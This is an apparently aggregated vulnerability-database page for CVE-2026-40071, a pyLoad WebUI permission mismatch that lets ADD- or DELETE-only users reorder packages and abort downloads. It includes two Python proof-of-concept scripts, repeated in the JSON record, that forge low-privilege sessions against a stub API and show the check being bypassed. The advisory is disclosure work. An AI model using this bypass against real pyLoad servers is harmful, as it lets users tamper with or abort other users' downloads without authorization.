Vulnerability-Lookup

GHSA-RFGH-63MG-8PWM

Vulnerability from github – Published: 2026-04-08 00:18 – Updated: 2026-04-13 17:39

Summary

pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions

Details

Summary

Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.

Confirmed mismatches: - ADD user can reorder packages/files (order_package, order_file) via /json/package_order and /json/link_order - DELETE user can abort downloads (stop_downloads) via /json/abort_link

Details

pyLoad defines granular permissions in core API: - order_package requires Perms.MODIFY (src/pyload/core/api/__init__.py:1125) - order_file requires Perms.MODIFY (src/pyload/core/api/__init__.py:1137) - stop_downloads requires Perms.MODIFY (src/pyload/core/api/__init__.py:1046)

But WebUI JSON routes use weaker checks: - /json/package_order uses @login_required("ADD") then calls api.order_package(...) (src/pyload/webui/app/blueprints/json_blueprint.py:109-117) - /json/link_order uses @login_required("ADD") then calls api.order_file(...) (src/pyload/webui/app/blueprints/json_blueprint.py:137-145) - /json/abort_link uses @login_required("DELETE") then calls api.stop_downloads(...) (src/pyload/webui/app/blueprints/json_blueprint.py:123-131)

Why this is likely unintended (not just convenience): - The same JSON blueprint correctly protects other edit actions with MODIFY: - /json/move_package -> @login_required("MODIFY") (json_blueprint.py:188-196) - /json/edit_package -> @login_required("MODIFY") (json_blueprint.py:202-217) - The project UI exposes granular per-user permission assignment (settings.html:184-190), implying these boundaries are intended security controls.

PoC

Environment: - Repository version: 0.5.0b3 (VERSION file) - Commit tested: ddc53b3d7

PoC A (ADD-only user invokes MODIFY-only reorder):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'attacker'

    def order_package(self, pack_id, pos):
        self.calls.append(('order_package', int(pack_id), int(pos)))

    def order_file(self, file_id, pos):
        self.calls.append(('order_file', int(file_id), int(pos)))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'attacker'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.ADD)

    r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
    r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})

print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]

PoC B (DELETE-only user invokes MODIFY-only stop_downloads):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'u'

    def stop_downloads(self, ids):
        self.calls.append(('stop_downloads', ids))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'u'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.DELETE)

    r = c.post('/json/abort_link', json={'link_id': 999})

print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (DELETE-only) stop_downloads: False
HTTP /json/abort_link: 200 {"response":"success"}
calls: [('stop_downloads', [999])]

Impact

Type: - Improper authorization / permission-bypass between WebUI and core API permission model.

Scope: - Horizontal privilege escalation among authenticated non-admin users. - Not admin takeover, but unauthorized execution of operations explicitly categorized as MODIFY.

Security impact: - Integrity impact: unauthorized queue/file reordering by users lacking MODIFY. - Availability impact: unauthorized abort of active downloads by users lacking MODIFY.

Severity ?

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.0b3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40071"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T00:18:20Z",
    "nvd_published_at": "2026-04-09T18:17:03Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nSeveral WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad\u0027s own permission model.\n\nConfirmed mismatches:\n- `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order`\n- `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link`\n\n### Details\npyLoad defines granular permissions in core API:\n- `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`)\n- `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`)\n- `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`)\n\nBut WebUI JSON routes use weaker checks:\n- `/json/package_order` uses `@login_required(\"ADD\")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`)\n- `/json/link_order` uses `@login_required(\"ADD\")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`)\n- `/json/abort_link` uses `@login_required(\"DELETE\")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`)\n\nWhy this is likely unintended (not just convenience):\n- The same JSON blueprint correctly protects other edit actions with `MODIFY`:\n  - `/json/move_package` -\u003e `@login_required(\"MODIFY\")` (`json_blueprint.py:188-196`)\n  - `/json/edit_package` -\u003e `@login_required(\"MODIFY\")` (`json_blueprint.py:202-217`)\n- The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls.\n\n### PoC\nEnvironment:\n- Repository version: `0.5.0b3` (`VERSION` file)\n- Commit tested: `ddc53b3d7`\n\nPoC A (ADD-only user invokes MODIFY-only reorder):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath(\u0027src\u0027))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n    def __init__(self):\n        self.calls = []\n\n    def user_exists(self, username):\n        return username == \u0027attacker\u0027\n\n    def order_package(self, pack_id, pos):\n        self.calls.append((\u0027order_package\u0027, int(pack_id), int(pos)))\n\n    def order_file(self, file_id, pos):\n        self.calls.append((\u0027order_file\u0027, int(file_id), int(pos)))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {\u0027role\u0027: Role.USER, \u0027permission\u0027: Perms.ADD}\nprint(\u0027API auth (ADD-only) order_package:\u0027, api.is_authorized(\u0027order_package\u0027, ctx))\nprint(\u0027API auth (ADD-only) order_file:\u0027, api.is_authorized(\u0027order_file\u0027, ctx))\n\napp = Flask(__name__)\napp.secret_key = \u0027k\u0027\napp.config[\u0027TESTING\u0027] = True\napp.config[\u0027WTF_CSRF_ENABLED\u0027] = False\nf = FakeApi()\napp.config[\u0027PYLOAD_API\u0027] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n    with c.session_transaction() as s:\n        s[\u0027authenticated\u0027] = True\n        s[\u0027name\u0027] = \u0027attacker\u0027\n        s[\u0027role\u0027] = int(Role.USER)\n        s[\u0027perms\u0027] = int(Perms.ADD)\n\n    r1 = c.post(\u0027/json/package_order\u0027, json={\u0027pack_id\u0027: 5, \u0027pos\u0027: 0})\n    r2 = c.post(\u0027/json/link_order\u0027, json={\u0027file_id\u0027: 77, \u0027pos\u0027: 1})\n\nprint(\u0027HTTP /json/package_order:\u0027, r1.status_code, r1.get_data(as_text=True).strip())\nprint(\u0027HTTP /json/link_order:\u0027, r2.status_code, r2.get_data(as_text=True).strip())\nprint(\u0027calls:\u0027, f.calls)\n```\n\nObserved output:\n```text\nAPI auth (ADD-only) order_package: False\nAPI auth (ADD-only) order_file: False\nHTTP /json/package_order: 200 {\"response\":\"success\"}\nHTTP /json/link_order: 200 {\"response\":\"success\"}\ncalls: [(\u0027order_package\u0027, 5, 0), (\u0027order_file\u0027, 77, 1)]\n```\n\nPoC B (DELETE-only user invokes MODIFY-only stop_downloads):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath(\u0027src\u0027))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n    def __init__(self):\n        self.calls = []\n\n    def user_exists(self, username):\n        return username == \u0027u\u0027\n\n    def stop_downloads(self, ids):\n        self.calls.append((\u0027stop_downloads\u0027, ids))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {\u0027role\u0027: Role.USER, \u0027permission\u0027: Perms.DELETE}\nprint(\u0027API auth (DELETE-only) stop_downloads:\u0027, api.is_authorized(\u0027stop_downloads\u0027, ctx))\n\napp = Flask(__name__)\napp.secret_key = \u0027k\u0027\napp.config[\u0027TESTING\u0027] = True\napp.config[\u0027WTF_CSRF_ENABLED\u0027] = False\nf = FakeApi()\napp.config[\u0027PYLOAD_API\u0027] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n    with c.session_transaction() as s:\n        s[\u0027authenticated\u0027] = True\n        s[\u0027name\u0027] = \u0027u\u0027\n        s[\u0027role\u0027] = int(Role.USER)\n        s[\u0027perms\u0027] = int(Perms.DELETE)\n\n    r = c.post(\u0027/json/abort_link\u0027, json={\u0027link_id\u0027: 999})\n\nprint(\u0027HTTP /json/abort_link:\u0027, r.status_code, r.get_data(as_text=True).strip())\nprint(\u0027calls:\u0027, f.calls)\n```\n\nObserved output:\n```text\nAPI auth (DELETE-only) stop_downloads: False\nHTTP /json/abort_link: 200 {\"response\":\"success\"}\ncalls: [(\u0027stop_downloads\u0027, [999])]\n```\n\n### Impact\nType:\n- Improper authorization / permission-bypass between WebUI and core API permission model.\n\nScope:\n- Horizontal privilege escalation among authenticated non-admin users.\n- Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`.\n\nSecurity impact:\n- Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`.\n- Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.",
  "id": "GHSA-rfgh-63mg-8pwm",
  "modified": "2026-04-13T17:39:20Z",
  "published": "2026-04-08T00:18:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-rfgh-63mg-8pwm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40071"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions"
}

CVE-2026-40071 (GCVE-0-2026-40071)

Vulnerability from cvelistv5 – Published: 2026-04-09 17:36 – Updated: 2026-04-10 14:09

Title

pyLoad WebUI JSON permission mismatch lets ADD/DELETE users invoke MODIFY-only actions

Summary

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the /json/package_order, /json/link_order, and /json/abort_link WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model. This vulnerability is fixed in 0.5.0b3.dev97.

Severity ?

5.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

CWE

CWE-863 - Incorrect Authorization

Assigner

GitHub_M

References

URL

Tags

https://github.com/pyload/pyload/security/advisor…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	pyload	pyload	Affected: < 0.5.0b3.dev97

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-40071",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-10T14:09:08.811272Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-10T14:09:11.900Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/pyload/pyload/security/advisories/GHSA-rfgh-63mg-8pwm"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "pyload",
          "vendor": "pyload",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.5.0b3.dev97"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the /json/package_order, /json/link_order, and /json/abort_link WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad\u0027s own permission model. This vulnerability is fixed in 0.5.0b3.dev97."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.4,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-863",
              "description": "CWE-863: Incorrect Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-09T17:36:24.837Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/pyload/pyload/security/advisories/GHSA-rfgh-63mg-8pwm",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/pyload/pyload/security/advisories/GHSA-rfgh-63mg-8pwm"
        }
      ],
      "source": {
        "advisory": "GHSA-rfgh-63mg-8pwm",
        "discovery": "UNKNOWN"
      },
      "title": "pyLoad WebUI JSON permission mismatch lets ADD/DELETE users invoke MODIFY-only actions"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-40071",
    "datePublished": "2026-04-09T17:36:24.837Z",
    "dateReserved": "2026-04-09T00:39:12.204Z",
    "dateUpdated": "2026-04-10T14:09:11.900Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-RFGH-63MG-8PWM

Summary

Details

PoC

Impact

CVE-2026-40071 (GCVE-0-2026-40071)

Tags

Sightings

Nomenclature